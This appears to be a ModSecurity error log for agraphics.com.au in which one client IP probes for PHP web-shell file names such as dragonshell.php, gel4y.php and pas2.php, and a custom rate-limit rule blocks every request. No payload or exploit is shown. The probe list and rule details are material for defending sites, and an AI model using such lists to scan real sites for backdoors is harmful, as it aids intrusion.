[Sun Mar 29 05:04:20.587547 2026] [:error] [pid 32254:tid 32266] [client 20.122.187.158:28127] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "achCVKug2IHuyGgCTn8MkgAAAAI"]
[Sun Mar 29 05:04:21.020936 2026] [:error] [pid 32255:tid 32305] [client 20.122.187.158:28205] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "achCVWnfn-AtRoMbquxFRAAAAE4"]
[Sun Mar 29 05:04:21.443594 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28105] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "achCVSE3TArOFrUtgWom7QAAAI4"]
[Sun Mar 29 05:04:21.870899 2026] [:error] [pid 1524:tid 1533] [client 20.122.187.158:28167] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "achCVVoaWSl2asqQCh8OXwAAAQU"]
[Sun Mar 29 05:04:22.306911 2026] [:error] [pid 32254:tid 32280] [client 20.122.187.158:28189] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "achCVqug2IHuyGgCTn8MkwAAABA"]
[Sun Mar 29 05:04:22.749766 2026] [:error] [pid 32359:tid 32371] [client 20.122.187.158:28221] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "achCVgMb8G3UzfQP3WjK2AAAAMo"]
[Sun Mar 29 05:04:23.169146 2026] [:error] [pid 32257:tid 32322] [client 20.122.187.158:28225] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "achCVyE3TArOFrUtgWom8gAAAIQ"]
[Sun Mar 29 05:04:23.584865 2026] [:error] [pid 32257:tid 32339] [client 20.122.187.158:28117] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "achCVyE3TArOFrUtgWom9gAAAJU"]
[Sun Mar 29 05:04:24.013455 2026] [:error] [pid 32257:tid 32328] [client 20.122.187.158:28347] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "achCWCE3TArOFrUtgWom-QAAAIo"]
[Sun Mar 29 05:04:24.430052 2026] [:error] [pid 32254:tid 32287] [client 20.122.187.158:28179] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "achCWKug2IHuyGgCTn8MlQAAABc"]
[Sun Mar 29 05:04:24.832780 2026] [:error] [pid 32359:tid 32383] [client 20.122.187.158:28116] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "achCWAMb8G3UzfQP3WjK2wAAANY"]
[Sun Mar 29 05:04:25.308399 2026] [:error] [pid 1524:tid 1538] [client 20.122.187.158:28061] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/north1.php"] [unique_id "achCWVoaWSl2asqQCh8OZAAAAQk"]
[Sun Mar 29 05:04:25.732436 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28186] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/north1.php"] [unique_id "achCWVoaWSl2asqQCh8OZwAAAQ8"]
[Sun Mar 29 05:04:26.161638 2026] [:error] [pid 32254:tid 32274] [client 20.122.187.158:28147] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/north1.php"] [unique_id "achCWqug2IHuyGgCTn8MlwAAAAo"]
[Sun Mar 29 05:04:26.575380 2026] [:error] [pid 32257:tid 32318] [client 20.122.187.158:28112] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/north1.php"] [unique_id "achCWiE3TArOFrUtgWonAgAAAIA"]
[Sun Mar 29 05:04:27.003996 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28160] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dragonshell.php"] [unique_id "achCWyE3TArOFrUtgWonBAAAAJE"]
[Sun Mar 29 05:04:27.403695 2026] [:error] [pid 32359:tid 32362] [client 20.122.187.158:28106] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dragonshell.php"] [unique_id "achCWwMb8G3UzfQP3WjK3AAAAME"]
[Sun Mar 29 05:04:27.815464 2026] [:error] [pid 32257:tid 32339] [client 20.122.187.158:28158] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dragonshell.php"] [unique_id "achCWyE3TArOFrUtgWonBgAAAJU"]
[Sun Mar 29 05:04:28.251476 2026] [:error] [pid 32359:tid 32377] [client 20.122.187.158:28102] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dragonshell.php"] [unique_id "achCXAMb8G3UzfQP3WjK4AAAANA"]
[Sun Mar 29 05:04:28.670518 2026] [:error] [pid 32257:tid 32333] [client 20.122.187.158:28334] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "achCXCE3TArOFrUtgWonCAAAAI8"]
[Sun Mar 29 05:04:29.116365 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28181] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "achCXSE3TArOFrUtgWonCQAAAJI"]
[Sun Mar 29 05:04:29.540600 2026] [:error] [pid 32255:tid 32293] [client 20.122.187.158:28203] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "achCXWnfn-AtRoMbquxFRQAAAEI"]
[Sun Mar 29 05:04:29.957064 2026] [:error] [pid 32359:tid 32380] [client 20.122.187.158:28045] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "achCXQMb8G3UzfQP3WjK5AAAANM"]
[Sun Mar 29 05:04:30.360829 2026] [:error] [pid 32254:tid 32268] [client 20.122.187.158:28207] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/caiij.php"] [unique_id "achCXqug2IHuyGgCTn8MngAAAAQ"]
[Sun Mar 29 05:04:30.773906 2026] [:error] [pid 32255:tid 32292] [client 20.122.187.158:28108] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/caiij.php"] [unique_id "achCXmnfn-AtRoMbquxFSAAAAEE"]
[Sun Mar 29 05:04:31.217711 2026] [:error] [pid 1524:tid 1546] [client 20.122.187.158:28197] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/caiij.php"] [unique_id "achCX1oaWSl2asqQCh8OdQAAAQ8"]
[Sun Mar 29 05:04:31.618964 2026] [:error] [pid 1524:tid 1553] [client 20.122.187.158:28150] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/caiij.php"] [unique_id "achCX1oaWSl2asqQCh8OdwAAARU"]
[Sun Mar 29 05:04:32.026092 2026] [:error] [pid 32255:tid 32314] [client 20.122.187.158:28208] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "achCYGnfn-AtRoMbquxFSwAAAFc"]
[Sun Mar 29 05:04:32.426879 2026] [:error] [pid 1524:tid 1547] [client 20.122.187.158:28182] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "achCYFoaWSl2asqQCh8OfAAAARA"]
[Sun Mar 29 05:04:32.827478 2026] [:error] [pid 32255:tid 32312] [client 20.122.187.158:28120] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "achCYGnfn-AtRoMbquxFUQAAAFU"]
[Sun Mar 29 05:04:33.240925 2026] [:error] [pid 32257:tid 32326] [client 20.122.187.158:28104] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "achCYSE3TArOFrUtgWonDgAAAIg"]
[Sun Mar 29 05:04:33.646351 2026] [:error] [pid 32359:tid 32372] [client 20.122.187.158:28270] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uxijj.php"] [unique_id "achCYQMb8G3UzfQP3WjK5gAAAMs"]
[Sun Mar 29 05:04:34.066409 2026] [:error] [pid 32359:tid 32373] [client 20.122.187.158:28222] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uxijj.php"] [unique_id "achCYgMb8G3UzfQP3WjK5wAAAMw"]
[Sun Mar 29 05:04:34.478488 2026] [:error] [pid 32254:tid 32287] [client 20.122.187.158:28040] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uxijj.php"] [unique_id "achCYqug2IHuyGgCTn8MpgAAABc"]
[Sun Mar 29 05:04:34.881687 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28258] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uxijj.php"] [unique_id "achCYiE3TArOFrUtgWonGQAAAJE"]
[Sun Mar 29 05:04:35.312669 2026] [:error] [pid 32254:tid 32275] [client 20.122.187.158:28109] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "achCY6ug2IHuyGgCTn8MqAAAAAs"]
[Sun Mar 29 05:04:35.742044 2026] [:error] [pid 32257:tid 32336] [client 20.122.187.158:28201] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "achCYyE3TArOFrUtgWonGwAAAJI"]
[Sun Mar 29 05:04:36.167713 2026] [:error] [pid 32257:tid 32337] [client 20.122.187.158:28115] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "achCZCE3TArOFrUtgWonHQAAAJM"]
[Sun Mar 29 05:04:36.574963 2026] [:error] [pid 32257:tid 32327] [client 20.122.187.158:28107] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "achCZCE3TArOFrUtgWonIAAAAIk"]
[Sun Mar 29 05:04:36.979895 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28212] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "achCZCE3TArOFrUtgWonIgAAAI4"]
[Sun Mar 29 05:04:37.403409 2026] [:error] [pid 32257:tid 32329] [client 20.122.187.158:28354] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "achCZSE3TArOFrUtgWonJgAAAIs"]
[Sun Mar 29 05:04:37.809368 2026] [:error] [pid 32257:tid 32335] [client 20.122.187.158:28237] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "achCZSE3TArOFrUtgWonKAAAAJE"]
[Sun Mar 29 05:04:38.219362 2026] [:error] [pid 32359:tid 32383] [client 20.122.187.158:28114] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/resp.php"] [unique_id "achCZgMb8G3UzfQP3WjK6gAAANY"]
[Sun Mar 29 05:04:38.628048 2026] [:error] [pid 32359:tid 32363] [client 20.122.187.158:28185] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanou.php"] [unique_id "achCZgMb8G3UzfQP3WjK7QAAAMI"]
[Sun Mar 29 05:04:39.034681 2026] [:error] [pid 32255:tid 32297] [client 20.122.187.158:28172] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanou.php"] [unique_id "achCZ2nfn-AtRoMbquxFVwAAAEY"]
[Sun Mar 29 05:04:39.454626 2026] [:error] [pid 1524:tid 1545] [client 20.122.187.158:28137] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanou.php"] [unique_id "achCZ1oaWSl2asqQCh8OgwAAAQ4"]
[Sun Mar 29 05:04:39.863896 2026] [:error] [pid 1524:tid 1554] [client 20.122.187.158:28396] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lanou.php"] [unique_id "achCZ1oaWSl2asqQCh8OhAAAARY"]
[Sun Mar 29 05:04:40.271895 2026] [:error] [pid 1524:tid 1551] [client 20.122.187.158:28099] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "achCaFoaWSl2asqQCh8OhQAAARM"]
[Sun Mar 29 05:04:40.690384 2026] [:error] [pid 32254:tid 32268] [client 20.122.187.158:28128] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "achCaKug2IHuyGgCTn8MrgAAAAQ"]
[Sun Mar 29 05:04:41.091311 2026] [:error] [pid 1524:tid 1527] [client 20.122.187.158:28277] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "achCaVoaWSl2asqQCh8OiAAAAQA"]
[Sun Mar 29 05:04:41.499758 2026] [:error] [pid 32257:tid 32319] [client 20.122.187.158:28046] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "achCaSE3TArOFrUtgWonLAAAAIE"]
[Sun Mar 29 05:04:41.907588 2026] [:error] [pid 32359:tid 32376] [client 20.122.187.158:28083] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "achCaQMb8G3UzfQP3WjK8QAAAM8"]
[Sun Mar 29 05:04:42.329518 2026] [:error] [pid 32254:tid 32281] [client 20.122.187.158:28154] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "achCaqug2IHuyGgCTn8MsgAAABE"]
[Sun Mar 29 05:04:42.743430 2026] [:error] [pid 32359:tid 32384] [client 20.122.187.158:28279] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "achCagMb8G3UzfQP3WjK8gAAANc"]
[Sun Mar 29 05:04:43.149918 2026] [:error] [pid 1524:tid 1544] [client 20.122.187.158:28192] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "achCa1oaWSl2asqQCh8OigAAAQ0"]
[Sun Mar 29 05:04:43.567511 2026] [:error] [pid 1524:tid 1533] [client 20.122.187.158:28183] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/schal.php"] [unique_id "achCa1oaWSl2asqQCh8OjAAAAQU"]
[Sun Mar 29 05:04:43.974341 2026] [:error] [pid 32257:tid 32329] [client 20.122.187.158:28038] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/schal.php"] [unique_id "achCayE3TArOFrUtgWonMAAAAIs"]
